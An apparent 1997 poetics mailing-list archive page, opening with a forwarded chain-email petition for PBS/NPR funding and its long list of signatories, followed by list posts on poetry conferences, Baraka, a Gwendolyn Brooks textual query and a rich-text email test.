> *This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/year of their taxes, a petition follows. If you sign, please forward on to others (not back to me). If not, please don't kill it -- send it to the email address listed here:*
>
> [redacted]
>
> *PBS, NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a*
> *portion of funding for something which is seen as "unworthwhile". Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $.64 a year in total.*
>
> *A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding.*
>
> *Each year, the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. Each subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which*
> *is October*
>
> *1.The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard.*
>
> *Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be forwarded to the President*

of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs.

If you happen to be the 150th, 200th, 250th etc. signer of this petition, please forward a copy to:
[redacted].

If that address is inoperative, please send it to:
[redacted].

This way we can keep track of the lists and organize them.

Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

1) Elizabeth Weinert, student, University of Northern Colorado, Greeley,CO
2) Robert M. Penn, San Francisco, CA
3) Gregory S. Williamson, San Francisco, CA
4) Daniel C. Knightly, Austin, TX
5) Andrew H. Knightly, Los Angeles, CA
6) Aaron C. Yeater, Somerville, MA
7) Tobie M. Cornejo, Washington, DC
8) John T. Mason, Dalton, MA
9) Eric W. Fish, Williamstown, MA
10) Courtney E. Estill, Hamilton College, NY
11) Vanessa Moore, Northfield, MN
12) Lynne Raschke, Haverford College, PA (originally Minnesota)
13) Deborah Bielak, Haverford, PA
14) Morgan Lloyd, Haverford, PA 19041
15) Galen Lloyd, Goucher College, MD
16) Brian Eastwood, University of Vermont, VT
17) Elif Batuman, Harvard University, MA
18) Kohar Jones, Yale University, CT
19) Claudia Brittenham, Yale University, CT
20) Alexandra Block, Yale University, CT
21) Susanna Chu, Yale University, CT
22) Michelle Chen, Harvard University, MA
23) Jessica Hammer, Harvard University, MA
24) Ann Pettigrew, Haverford College, PA
25) Kirstin Knox, Swarthmore College, PA
26) Jason Adler, Swarthmore College, PA
27) Daniel Gottlieb, Swarthmore College (but truly from Lawrence, KS)
28) Josh Feltman, Tufts University, MA
29) Louise Forrest, Massachusetts Institute of Technology, MA

30) HongSup Park, Massachusetts Institute of Technology, MA (originally from
Portage, Wisconsin)
31) Ana Sandoval,Massachusetts Institute of Technology
32) Katherine Navarrete, Massachusetts Institute of Technology
33) Mandisa Washington, Massachusetts Institute of Technology
34) Stephen Balzac, San Francisco, CA
35) Howard Yermish, Los Angeles, CA
36) Danielle Yermish, Los Angeles, CA
37) David S. Lefkowitz, University of California - Los Angeles
38) Frank S. Albinder, San Francisco, CA
39) Read S. Sherman, Harvard Divinity School
40) Stephane Lemelin, Cambridge, MA
41) Thomas Ouellette, Cambidge, MA
42) Richard Russell, Cambridge, MA
43) Nella Wennberg, Jamaica Plain, MA
44) Eric Smith, Jamaica Plain, MA
45) Alex Graham, Boston, MA
46) Dean Wei, Chicago, IL
47) Luisita Frances, Chicago, IL
48) Roy Vella, Stanford, CA
49) Alan Hellawell, Mountain View, CA
50) Timothy A. Scott, San Francisco, CA
51) Albert M. Yeh, Mountain View, CA
52) Susan Yeh, Seattle, WA
53) Jonathan Payne, Seattle, WA
54) Cena Pohl, Seattle, WA
55) David Perk, Seattle, WA
56) Robert Srygley, Seattle WA
57) Katarzyna S. Kubzdela, Chicago, IL
58) Katy Human, Stanford, CA
59) Erica Fleishman, Reno, NV
60) C. Richard Tracy, Reno, NV
61) Kenneth E. Nussear, Reno, NV
62) Christopher R. Tracy, University of Wisconsin, Madison, WI
63) Kristin Komives, Carrboro, NC
64) Jennifer Goldman, Chapel Hill, NC
65) Darcy Leach, University of Michigan, Ann Arbor, MI
66) Van Luong, University of Michigan, Ann Arbor, MI
67) Aurora M. Sherman, University of Michigan, Ann Arbor, MI
68) Paul O. Stern, Seattle, WA
69) Erika Tapman, U. of Vermont College of Medicine
70) Opher Donchin, Urbana, IL
71) Prof. Pamela Cosman, University of California, San Diego
72) Ari Levitt, University of Washington, Seattle, WA
73) Nathan Martin, Berkeley, California
74) Lynn Price, Kensington, California
75) Leslie Shown, Kensington, CA

> *76) Mike Boals, Berkeley, CA*
> *77) Wendy Boals, Berkeley, CA*
> *78) Effie Westervelt, Tiburon, CA*
> *79) Mary Burns, Taos, NM*
> *80) Karen Page, New York, NY ([redacted])*
> *81) Gary Holleman, Bemidji, MN ([redacted])*
> *82) Tim Rosa, Newton, MA ([redacted])*
> *83) Doug Hersh, Sherborn MA ([redacted])*
> *84) Ruel Little, Somerville, MA ([redacted])*
> *85) Stefan Wennik, Andover, MA ([redacted])*
> *86) Melissa Walia, SF, CA ([redacted])*
> *87) Tracy Brown, SF, CA ([redacted])*
> *88) John T. Miller, SF, CA ([redacted])*
> *89) M. Todd Davis, SF, CA ([redacted])*
> *90) Michael Demetrios, SF, CA*
> *91) J. Marc Perrin, NY, NY ([redacted])*
> *92) Alyse Daberko, NY, NY ([redacted])*
> *93) Jessica Guertin, Washington Univ. St. Louis([redacted])*
> *94) Ellen Watson, San Francisco, CA*
> *95) Bridgitt Arnold, Seattle, WA*
> *96) Erica Yenni, Seattle, WA*
> *97) Kerri Karvetski, Seattle, WA ([redacted])*
> *98) Mark Butler, Seattle, WA*
> *99) lazlow jones, long beach, ny [redacted]*
> *100) Laura Bykowski, NYC, NY [redacted]*
> *101) Amy Stettler, NYC, NY [redacted]*
> *102) F Ben Dana, Burlington, Vermont*
> *103) Bill Dahill-Baue, Brattleboro, VT*
> *104) S. Ryan Quick, Yale University, New Haven, CT*
> *105) Jerry Anne Dickel, Yale University, New Haven, CT*
> *106) Donald Beebe, Yale University, New Haven, CT*
> *107) Stephanie Seery, School of Theology at Claremont, CA*
> *108) Katherine A. Johnson, Baltimore, MD*
> *109) Cynthia J. Halstead, Burke, VA*
> *110) Ronald Northrip, Falls Church, VA [redacted]*
> *111) Jane Levandoski, University of Delaware, DE*
> *112) Denise J. Hills, University of Delaware, DE*
> *113) David P. Sobel, College of William & Mary, VA*
> *114) Amey T. Sadler, College of William& Mary, VA*
> *115) Donna M. Livingston, Woodbridge, VA*
> *116) Karen A. Morris, Burke, VA*
> *117) Michael E. Perdue Atlanta, GA*
> *118) David Cour, Washington D.C.*
> *119) Katie Sergent, Washington D.C.*
> *120) Nathan Sewell, Nashville, TN*
> *121) Peter Eby, Nashville, TN*
> *122) jeff taraday, seattle, WA*
> *123) Julie Taraday, Seattle, WA*

124) Stephanie Cooper, Seattle WA
125) Kailen Mooney, Seattle, WA
126) Dylan Clark, Univ. of WA, Anthropology, Seattle 98195
127) Daniel Simons, University of Washington, Seattle, WA
128) Kirsten Wild, University of Washington, Seattle, WA
129) Barbara Busetti, University of Washington, Seattle, WA
130) Leslie Macchia, Mountain View, CA ([redacted]*)*
131) Kris Wollenhaupt, San Jose, CA
132) Ann Bowers, Palo Alto, CA
133) Sue Tysko, Palo Alto, CA
134) Liza Schmeltz, San Jose, CA
135) Judith Schweikert, Palo Alto, CA
136) Joan Wylie, Palo Alto, CA
137) Marcia Pugsley, Palo Alto, CA
138) Daryl Davis, Palo Alto, CA
139) Amy Gerstein, San Francisco, CA
140) Christian Holden, San Francisco, CA
141) Stephen Divenere, San Francisco, CA
142) Karen Yetman, San Francisco, CA ([redacted]*)*
143) Christine D'Elia, San Francisco, CA
144) Rachel Bredemeier, Cambridge, MA
145) Karin Horlbeck, Cambridge, MA
146) Mark Bourne, Cambridge, MA ([redacted]*)*
147) Norm Slocum, Weymouth, MA ([redacted]*)*
148) Carol Hughes, Boulder, CO ([redacted]*)*
149) Susan Hagg, San Francisco,CA([redacted]*)*
150) Dante Landucci, Bethesda, MD ([redacted]*)*
151) Ann Dannenberg Rosen, Newton, MA
152) Elena Conti, Cambridge, MA
153) Brent Richter, Rowley Ma
154) Libby Jones, Rowley, MA
155) Kitkoon Chan, Pleasanton CA
156) Dennis Crayon, Boston, MA
157) Claude R Labbe, Boston, MA
158) Jeffrey M. Klapes, Lynnfield, MA
159) David E. Knudsen, Somerville, MA
160) Chris Ann Matteo, New York, NY
161) Scott G. Williams, Austin, Texas
162) Linda Wiencken Williams, Austin, Texas
163) Lucinda Martin, Florence, TX
164) Karen E. LeFevre, Austin, Texas
165) David E. Soileau, Austin, Texas ([redacted]*)*
166) Kirk P. White, RN, MSN, Austin, TX
167) Lisa Rogers, Austin, TX ([redacted]*)*
168) Shelley Brown, Denver, CO ([redacted]*)*
169) Deborah Chandler, Loveland, CO ([redacted]*)*
170) Linda Temple, Oklahoma City, OK ([redacted]*)*
171) Tom Temple, Oklahoma City, OK ([redacted]*)*

> *172) Gage Evans, Denver, CO ([redacted])*
> *173) Kara M. Van Horn, Denver, CO ([redacted])*
> *174) Carmelia Dyer, Boulder, CO ([redacted])*
> *175) Douglas Goldman, Boulder, CO ([redacted])*
> *176) Eugenie Georgas, Boulder, CO ([redacted])*
> *177) Michael Birdsong, Boulder, CO ([redacted])*
> *178) Todd Arbetter, Boulder, CO ([redacted])*
> *179) Marika Holland,Boulder, CO ([redacted])*
> *180) Adriene Hughes, Brighton, MA*
> *181) Andrew Myerson, Brighton, MA*
> *182) Lucila De Alejandro, San Diego, CA*
> *183) Robin Taylor, San Diego CA*
> *184) Shelly Diaz, NYC, NY*
> *185) Beth Davidson, Incline Village, NV*
> *186) Jon Paul Davidson, Incline Village, NV*
> *187) Kate Glanz, Durham, NH*
> *188) Filson Glanz, Durham, NH*
> *189) Dehan Glanz, San Francisco, CA*
> *190) Justine Reese, San Francisco, CA*
> *191) Carl Bettag, San Francisco, CA*
> *192) Eugenia Lean, Los Angeles, CA*
> *193) Nicole Huang, Berkeley, CA*
> *194) George Krompacky, Yale University, CT*
> *195) Peter Carroll, Yale University, New Haven, CT*
> *196) James Carter, New Haven, CT*
> *197) Eagle Glassheim, Columbia University, New York City*
> *198) David S. Frey, Columbia University, New York City*
> *199) Ellen B. Umland, Bay Village, OH*
> *200) Susanna D. Kopchains, Hawthorne, NJ*
> *201) Mark Margaretten, Denver, CO*
> *202) Jon L. Leland, Mill Valley, CA*
> *203) Steve Blumenthal, San Francisco, CA*
> *204) Paula Mantel, Honolulu, HI*
> *205) Gaile Sickel, Honolulu, HI*
> *206) Robert Wolfson, Fairfax, CA*
> *207) Shams Wm. Kairys, Oakland, CA*
> *208) Donald Halley, New Lebanon, NY*
> *209) David Iman Adler, New Lebanon, NY*
> *210) Robert Barris, Highland Park,*
> *211) Janet Karpus, Kalamazoo, MI*
> *212) Terry Macak, Kalamazoo, MI*
> *213) Lynne Aspnes, Ann Arbor MI*
> *214) Lorna Haywood, U of M Ann Arbor MI*
> *215) Robert Debbaut, Salt Lake City, UT*
> *216) Kaye Ramsey, Salt Lake City, UT*
> *217) Timothy Jones, U of T San Antonio TX*
> *218) Eugene Dowdy, UTSA, San Antonio, TX*
> *219) Lawrence Stomberg, Truman State University, Kirksville, MO*

220) Lisa Stomberg, Colorado School of Mines, CO
221) Paula Lynch, Laurel Springs, NJ
222) Cara Kendric, Philadelphia, PA
223) Deborah Conger Hughes, University of Washington, Seattle
224) Dean Heerwagen, Univ. of Washington, Seattle
225) Mark Clayton, College Station, TX
226) Mardelle Shepley, Bryan, TX
227) Mike Blair Bryan Tx ([redacted])
228) David Lucey Oakland, CA
229) Ted Rallis Davis CA. ([redacted])
230) Leigh Ann Giles, Davis CA ([redacted])
231) Kamala Crompton, Sebastopol CA ([redacted])
232) Patrick Kelly
233) Alan J. Hiller ([redacted])
234) Mitchell D. Klein ([redacted])
235) Nicholas Wulfekuhle
236) Andrew Downes
237) Kelly Bowers, Washington DC
238) Thomas Unger, Alexandria, VA
239) Dwight Gibbs, Alexandria, VA ([redacted])
240) Selena Maranjian, Alexandria, VA ([redacted])
241) Lynnette A. Simon, Cambridge, MA ([redacted])
242) Susan Martin, Acton, MA([redacted])
243) Kenneth Lord, West Hempstead, NY ([redacted])
244) Christopher Vickery, Holliswood, NY ([redacted])
245) Christopher Winters, Stamford,CT ([redacted])
246) Paul McIsaac, New York City ([redacted])
247) John Douglas, Charlotte, VT ([redacted])
248) Norio Kushi, Shelburne, VT ([redacted])
249) JoAnne Kushi, Shelburne, VT
250) Allan Balliett, Shepherdstown, WV ([redacted])
251) Michael Reilly, NYC, NY ([redacted])
252) Cindi Weiss, Hoboken, NJ ([redacted])
253) Sam Cohen, NY, NY
254) Kathryn Mintz, NY, NY ([redacted])
255) Brad Greenquist, LA, CA
256) Helga Schier, LA, CA ([redacted])
257) Kimberly Burns, LA,CA ([redacted])
258) Laurel Cook, NY,NY([redacted])
259) Todd Gitlin, NY, NY ([redacted])
260) Norris McNamara, Chicago, IL ([redacted])
261) Scott Diamond, Chicago, IL
263) Scott Black, Oak Park, IL
264) Linda Marquardt, Oak Park, IL
265) Daniel Marquardt, Oak Park, IL
266) Robert Ginsburg, Fayetteville, Ar
267) Susan Jenkins, Fayetteville, Ar
268) Dianne Schlies, Albuquerque, NM

269) Paul Schlies, Albuquerque, NM
270) Bob Dickey, Portland, OR
271) Elizabeth Dickey, Tucson, AZ
272) Timothy Mayhew, Farmington, NM
273) Marjorie Robertson, Arlington, VA
274) Deron Hurst, Arlington, VA
275) Erika Warner, Arlington, VA
276) Nancy Ward, Arlington, VA
277) Heather Podlich, Washington, DC
278) Lillian Rice, Washington, DC
279) Nicole Dannenberg, Washington, DC (originally from Sunnyvale, CA)
280) Suzanne Isack, Washington DC
281) Iracema de Moura Castro, Washington, DC
282) Tom Sander, Cambridge, MA
283) Peri Smilow, Cambridge, MA
284) Marc Johnson, Cambridge, MA and NY, NY
285) Patty Lyons, Chicago, IL
286) Tom Mula, Chicago, IL
287) Denis O'Hare, Brooklyn, NY
288) Derek Anson Jones, Brooklyn , NY
289) Karole Dill Barkley, New York, NY
290) Vivian Hunt, Cambridge, MA
291) Sengal Selassie, New York, NY
292) Patience R. Singleton, Washington, DC
293) Deneta A. Howland, Takoma Park, MD ([redacted])
294) Rana Dershowitz, New York, NY
295) Maria Politis, New York, NY
296) Anthony Pasca, E.Northport, NY
297) David Schliecker, New York, NY
298) Cynthia Schliecker, Madison, WI
299) Matthew Bazan, Madison WI
300) Samir Sugathan, Western Kentucky University, Bowling Green, KY
301) Seamus Mulryan, Beloit, WI
302) Amos Blanton, Beloit, WI
303) Brad Blanton, Stanley, VA.
304) James Goldstein, North Potomac, MD
305) David Torrealba, Washington, DC
306) Evan Eller, Annapolis, MD
307) Melaina Eller, Washington, DC
308) Jonathan Morris, East Haddam, CT
309) Veronica Morris, East Haddam, CT
310) E.Richard Brown, Los Angeles, CA
311) Steven P. Wallace, Los Angeles, CA
312) Robert J. Squires, Los Angeles, CA
313) William F. Donaldson, Buffalo, NY
314) Absalom S. Kotulski, New York, NY
315) Rick E. Kotulski, Corbett, OR
316) Louann Wakefield, Corbett, OR

> *317) Tawnya Napoli, San Francisco, CA*
> *318) Carla Lease, San Francisco, CA*
> *319) James Austin, San Francisco CA*
> *320) Diane Whitmore, San Francisco, CA*
> *321) Margaret Weber, Chicago, IL*
> *322) Kathryn H. Cummings, Lakewood, OH*
> *333) Lawrence J. Taylor, Lakewood, OH*
> *334) Kimberly Cummings, Jackson Heights, NY*
> *335) Nina Kauder, New York City, NY*
> *336) Juliana Luecking, New York, NY*
> *337) Richard Ford, Santa Monica, CA*
> *338) Tamara McDonough, Los Angeles, CA*
> *339) Vince Gatton, Los Angeles, CA*
> *340) John Starr, Santa Monica, CA ([redacted])*
> *341) C. Davey Utter, Venice, CA ([redacted])*
> *342) Gary Allen, Santa Monica, CA*
> *342) Barbara J. Toennies, Santa Monica, CA*
> *343) Tom Bliss, Sherman Oaks, CA*
> *344) Lynn Karpinski, San Diego, CA*
> *345) Michael Haskins, San Diego, CA*
> *346) Bill Bailey, San Francisco, CA*
> *347) David Cusick, New York, NY*
> *348) Andrew Livanis, New York, NY*
> *349) Emmanuel Savopoulos, Albany, NY*

↑ Index

85. **Brian McHale**

Re: More Poetry & the Public Sphere Conf Summary (LONG)

Mon 5 May 1997

In response to the query about whether papers from the "Poetry & Public Sphere" shindig would be published: it seems that the organizers are looking to set up a web-page with versions of the papers & ongoing discussion. They're aiming to have it up by the beginning of June. You could confirm this by checking in with them at [redacted].

I don't think I want to try to supplement Maria's & Amitai's full-dress ac- counts of the conference (nor do I have the energy to do so). But here are some memorable quotes out of my notebook:

At the panel on "Diversity in Avant-Garde Publishing," the moderator, Burt Kimmelman said (it might have been part of the statement for discussion origi- nally circulated to the panelists): "There may never again be a separate 'poe- try' ..." At the same panel, Charles Alexander (who showed some excellent slides of some of the books he's made: pornography for book-fetishists) described an

exercise he once did with a group of school-kids, in which they had to make an acrostic poem using the letters of their own names. A kid name Gabriel wrote: "Gay An- gels Break Rules In Every Language." Big applause; best poem of the day. And still at that panel, Ed Foster spoke somewhat caustically of true vs. per- cevied centers & margins in the institutions of poetry. Adrienne Rich, he said, stands "dead center" in the mainstream; and he spoke of her "undeserved aura of victimization." Ouch.

At the roundtable on "The Difference That Poetry Makes," Altieri pursued the the motif of "the street" (as the place of "authenticity"), & remarked some- thing to the effect that yes, the street is the place where one lives, but we shouldn't forget that it is also a means of getting to where others live. At the same roundable, Michael Taussig (whom I understood almost not at all) said something about "Digging into language so as to out-constract constructed- ness ...."

At the panel on African-American Aesthetics/Sound Poetry, the guy called Beans had a lot of illuminating things to say,but I was listening rather than writing ... however, right at the end, Tracie Morris, who was moderating, said some- thing memorable about the speed of commercial appropriation of popular creativi ty: "Now they can take something away from you & sell it back to you in a Sprite commerical in 6 months, when it used to take them 2 years ...."

At the roundtable mysteriously called "Locations of Poetry," Charlie Altieri said: "Social dreaming keeps us sane." And he also talked about a contemporary wis- dom poetry, the purpose of which would be "to find a 'we' that can be will- ed."

I was too exhausted by the time to closing roundtable to take notes, though Bob Holman & James Haba, in particular, said things worth recording.

I'm not a great fan of Alicia Ostriker's, but she had some of the best quotes. She quoted (without identifying the source) a definition of postmodernism: "Post- modernism is modernism without the hope." She quoted Adrienne Rich: "To be a feminist is to have the nerves of a mid- wife." And she quoted the rabbis (but which one?): "It is not incumbent on you to fin- ish the task. Nor are you free to give it up." I recommend reciting the latter in the morning upon rising & again in the eve- ning before going to bed.

Brian

↑ Index

86. Aldon L. Nielsen
Re: con-text
Mon 5 May 1997

The somewhat elliptical refs. to the Baraka / Algarin dustup are of interest to one (this one) who has known of both a long time. Algarin has had his own anti-theory moments -- and of course, in the years immediately preceding his movement into Marxism Baraka denounced that particular theory as useless white stuff --

but it's important to know that these two have been associated for decades -- I first met Algarin through Baraka's introduction -- and many of Baraka's short plays have been produced at Algarin's performance space --

as for "he was better when he was LeRoi Jones" == well, I know I was better then -- but I continue to think that this way of splitting up his work doesn't really get us anywhere -- If you look at all of his work, you find that there were moments of agit-prop before, and that there continue to be moments of real innovation now -- It's hard for me sometimes to take seriously the "theory" of a person who once thought Hoxa a serious theorist, but Baraka continues to have much to say that does interest me -- as for Algarin's theory, I simply have no idea what theories he advances now --

I guess all I'm saying, all I can say since I wasn't there at Rutgers, is that I know enough of both men to see that the confrontation can't usefully be understood as academic vs antiacademic, theory vs practice, early Jones vs present Baraka etc -- even ,,, or perhaps especially, if that's how the combatants themselves presented it --

_____
on a quite different note:

have just spent two days at Stanford -- Friday, in between listening to fascinating tapes of C.L.R. James, I had an interesting lunch meeting with Hilton Obenzinger, whose _New York on Fire_ you should all know, followed by a great poetry reading by Hank Lazer --

Saturday, Susan Dunn and Maeera Shreiber hosted a one day conference sponsored by the Humanities Center -- I've been trying for years to promote better communications among the area universities, and this conference may help advance that cause -- in the course of the day, among several good papers, I got to hear Hank Lazer's "resisting the Rhetoric of Wonder," whose title enacted the very rhetoric it addressed! -- Charles Altieri brought us some aftershocks from his Rutgers panel and Marjorie Perloff presented material from the Yasusada essay I didn't get to hear in Denver -- this last prvoked some intersting responses -- including the suggestion that one of the respondents to Marjorie's

Boston Review essay on this might himself be a hoax (I have my doubts on this score, even though the letter is oddly written, as the only reason advanced for the belief that there is no such person was that the believer had never heard of him as someone in Japanese studies) --

and a great dinner hosted by the hosts at the end of the day -- I was having such a good time talking to everybody that I almost missed my train home,, which might have caused me to violate Palo Alto's newly enacted anti-sit-lie statute (and no, it's not a law that says you can't lie) --

---
in the same vein

also at Stanford May 8-10, for those in the area --

a conference on "Movements of the Avant Garde" I'll have to miss most of the sessions myself, but will try to get there for Saturday's presentations -- Several speakers from South America, Europe, even Arizona! the program looks exciting -- you can get info at:

http://www-leleand.stanford.edu/~conlon/avantgarde.html

says here the event is "free and open to the public"

just don't sit on the sidewalk in Palo Alto--home of the derriere garde

↑ Index

87. **henry**
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Mon 5 May 1997

On Mon, 5 May 1997 11:21:06 -0400 Brian McHale said:
>And she quoted the rabbis (but which one?): "It is not incumbent on you to fin-
>ish the task. Nor are you free to give it up."
>I recommend reciting the latter in the morning upon rising & again in the eve-
>ning before going to bed.

Wasn't that Rabbi Franz K. of Prague?
- Henry

↑ Index

88. **David Israel**
Re: Question about Gwendolyn Brooks
Mon 5 May 1997

---

not an answer:

or: did some adrenalinic editor fiddle w/ the verb?
fight / flight / fiddle -- a trinity of f words?
triangle of responses -- write now, triangulate later . . .

d.i.

> *... Does anyone know if the *Norton* "flight" rather than "fight" is a misprint, or did Brooks at some time change the word? ...*
> *Bob Grotjohn*

↑ Index

89. Laura Moriarty
Ronald Johnson and the Speculative
Mon 5 May 1997

The Poetry center has a tape of Ronald Johnson reading extensively from ARK on 12/13/90.

It can be ordered, or you can get more info, by emailing me.

BTW - Thanks to everyone for great posts about the Poetry and the Public Sphere Conference - I also went to Poetry and the Speculative last Saturday at Stanford and really enjoyed the presentations by Robert Kaufman (The End of Negative Capability) and Barbara Guest, Marjorie Perloff's cogent talk about Yasusada, Hank Lazer's talk about anti-wonder - especially enjoyed the Kit Robinson stuff at the end - and Al Gelpi's really mad talk about Jack Kerouac and Robert Lowell at Lowell House (not together) at Harvard -

Laura Moriarty
the Poetry Center
[redacted]

> *Interested to read of RJ performance just after setting down ARK on the desk. Steve, Kevin et al, I wonder how you heard the 'historic epic' disclaimer--I hear plenty of affinity (if not influence) of Zukofsky in Ark, if not the dense history of Cantos/Max/Patterson. What do we do with a non-historic epic? Music as much as ark-i-text-ure seems to undergird the poem.*
>
> *Anyone else reading ARK at present? Anyone know if RJ is coming through Buffalo/Toronto area? I've not even heard a tape of him reading.*
>
> *Ken Sherwood*

↑ Index

90. Bob Grotjohn
Question about Gwendolyn Brooks
Mon 5 May 1997

This is a call for help from anyone who might know:

The fourth sonnet of Gwendolyn Brooks's sequence, "The Children of the Poor," begins, in my *Selected Poems* (54), "First fight. Then fiddle." In the new *Norton* (1587), the poem begins "First flight. Then fiddle." Does anyone know if the *Norton* "flight" rather than "fight" is a misprint, or did Brooks at some time change the word? If she did, when? "Flight" has its own sort of fit in the sonnet, but not quite the same as "fight."

Thanks.

Bob Grotjohn

↑ Index

91. Pritchett,Pat
Re: Speculative/Wonder
Mon 5 May 1997

Aldon, Laura and/or especially Hank "Niblick" Lazer himself - any chance of us here reading that wonderful anti-wonder paper either on the List (too long?) or posted to some other site?

Patrick Pritchett
who's wondering just what cld Robert Kaufman mean by "the end of negative capability?" Sounds like a doubtful case...

↑ Index

92. Sylvester Pollet
Re: rich text
Mon 5 May 1997

No Problem, Blair. it says indent 2, Times Bold Blue (mondo), but which
book of Adrienne's is that in? Maybe new work? sp, on Eudora.
>
>indent 2, Times Bold Blue (mondo)
>
>indent 3, Palatino Pink (very big)
>
>
>If you can read this message as rich text, I'd be interested to know what
>email program you are using.

>
>Thanks.
>
>Blair
>
>

↑ Index

93. Daniel Zimmerman
Re: con-text
Mon 5 May 1997

Maria Damon (Maria Damon) wrote:
>
> At 8:52 AM 5/5/97, Aldon L. Nielsen wrote:
>
> >
> >but it's important to know that these two have been associated for decades
> >-- I first met Algarin through Baraka's introduction -- and many of
> >Baraka's short plays have been produced at Algarin's performance space --
> >
>
> yes. this was a fun brawl between old friends more than anything else, and
> not something to get all hand-wringy about. md -ps who's hoxa?

Maria,
I believe that's former Albanian President Enver Hoxha [hardly a theorist...]
--Dan Z

↑ Index

94. Aldon L. Nielsen
Re: Speculative/Wonder
Mon 5 May 1997

---

well . . . one of my favorite moments came at the end of the end of negative capability talk, when a fellow in the audience raised his hand to ask "what is 'negative capability?'"

↑ Index

95. **David Israel**
Re: Speculative/Wonder
Mon 5 May 1997

Hi --

I wasn't there & know naught of this debate (if it is one), but at risk of stating the obvious: no doubt the phrase
"The End of Negative Capability"
is modeled after the well-ballyhooed phrase
"The End of History"
(by that economics-theory chappie from Stanford U. meseems)

"end" thus meaning more "final phase" than "objective" (presumably)

(unlike Jorie Graham's "The End of Beauty" which was presumably more on the teleological end of the "end" teeter-totter) --

one thinks of "endgame," Mr. Kasparov not specifically --
more like, "a new phase of poetry w/o Mr. Eliot" (??)
(hey pardon my unknowing as to particulars of Kaufman)
d.i.

>>> Daniel Zimmerman <[redacted]> 05/05/97
09:18pm >>>
Pritchett,Pat @Silverplume wrote:
>
> Aldon, Laura and/or especially Hank "Niblick" Lazer himself - any chance of
> us here reading that wonderful anti-wonder paper either on the List (too
> long?) or posted to some other site?
>
> Patrick Pritchett
> who's wondering just what cld Robert Kaufman mean by "the end of negative
> capability?" Sounds like a doubtful case...

Well, Pat, perhaps Kaufman has taught too many composition classes and, like me, finds himself increasingly "irritable" about "reaching after fact and reason"... I dunno, but I'd like to. Does "The End" mean "The Aim"? The Teleology of Negative Capability? Adrift twixt Scylla & Charybdis? Oarless past the Sirens, rudderless too, all the sailors sighing into the sail? In what spirit should one listen to a lecture called "The End of Negative Capability"? Does it imply a prediction? We can only wait to see whether Kaufman will post his piece for the

list-- but whether to wait languidly or impatiently I can't quite tell (at least not till I've read it, I suppose... & even then...)... Dan Zimmerman

↑ Index

96. Blair Seagram
rich text
Mon 5 May 1997

This is a test to see if rich text formatting can be received and read (by those with the capability) on

the poetics list

<color><param>0000,0000,FFFF</param>

<paraindent><param>right,right,left,left</param><fontfamily><param>B_-Times_Bold</param><bigger><bigger><bigger>

indent 2, Times Bold</bigger></bigger></bigger> <bigger><bigger><bigger>Blue (mondo)</bigger></bigger></bigger></fontfamily></paraindent></color><paraindent><param>right,right,left,left</param><bigger><bigger><bigger><bold><color><param>FFFF,0000,FFFF</param>

</color></bold></bigger></bigger></bigger></paraindent><bigger><bigger><bigger><bigger><bold><color><param>FFFF,0000,FFFF</param>

</color></bold></bigger><bold><color><param>FFFF,0000,FFFF</param><paraindent><param>right,right,right,left,left,left</param><fontfamily><param>Palatino</param>indent 3, Palatino Pink</fontfamily></paraindent></color></bold><paraindent><param>right,right,right,left,left,left</param> <bold><fontfamily><param>Palatino</param><color><param>FFFF,0000,FFFF</param> (very big)

</color></fontfamily></bold></paraindent><fontfamily><param>Palatino</param><color><param>FFFF,0000,FFFF</param>

</color></fontfamily></bigger></bigger>If you can read this message as rich text, I'd be interested to know what email program you are using.

Thanks.

Blair

↑ Index

97. Laura Moriarty
Re: Speculative/Wonder
Mon 5 May 1997

Rob Kaufman is not on this list - The talk he gave, of which I initially posted only a partial title, was complexly supportive of the idea and activity of Negative Capability - The specifics of Keats scholarship (when certain things were said in letters etc.) which he included were of much interest to me - I enjoyed the way Kaufman followed the changes in Keats' approach to his own idea -

The full title was "The End of Negative Capability, Coda from Barabara Guest". The piece was written _in opposition_ to claims that Negative Capability, in its various transmutations, is either dead or merely "aestheticist". He brought in Adorno and there was a short part about Barbara Guest at the end which led into her very thoughtful reading and presentation. I can't do his argument justice, and the talk that was given was part of a longer article, but I will post to the list when I know where it is going to be published.

Laura Moriarty

> *Aldon, Laura and/or especially Hank "Niblick" Lazer himself - any chance of us here reading that wonderful anti-wonder paper either on the List (too long?) or posted to some other site?*
>
> *Patrick Pritchett*
> *who's wondering just what cld Robert Kaufman mean by "the end of negative capability?" Sounds like a doubtful case...*

↑ Index

98. Carl Lynden Peters
Re: Speculative/Wonder
Mon 5 May 1997

laura,

i wld love to know where the "negative capability" essay is published. i've recently presented 2 conference papers on that and "seeing" in keats' poetry, and have always thot bp was a negative capability writer.

looking fwd to that info -- thank you,

c.

↑ Index

99. Daniel Zimmerman
Re: Speculative/Wonder
Mon 5 May 1997

Pritchett,Pat @Silverplume wrote:
>
> Aldon, Laura and/or especially Hank "Niblick" Lazer himself - any chance of
> us here reading that wonderful anti-wonder paper either on the List (too
> long?) or posted to some other site?
>
> Patrick Pritchett
> who's wondering just what cld Robert Kaufman mean by "the end of negative
> capability?" Sounds like a doubtful case...

Well, Pat, perhaps Kaufman has taught too many composition classes and, like me, finds himself increasingly "irritable" about "reaching after fact and reason"... I dunno, but I'd like to. Does "The End" mean "The Aim"? The Teleology of Negative Capability? Adrift twixt Scylla & Charybdis? Oarless past the Sirens, rudderless too, all the sailors sighing into the sail? In what spirit should one listen to a lecture called "The End of Negative Capability"? Does it imply a prediction? We can only wait to see whether Kaufman will post his piece for the list-- but whether to wait languidly or impatiently I can't quite tell (at least not till I've read it, I suppose... & even then...)... Dan Zimmerman

↑ Index

100. Steven Marks
alterior plugs
Mon 5 May 1997

Citoyens!

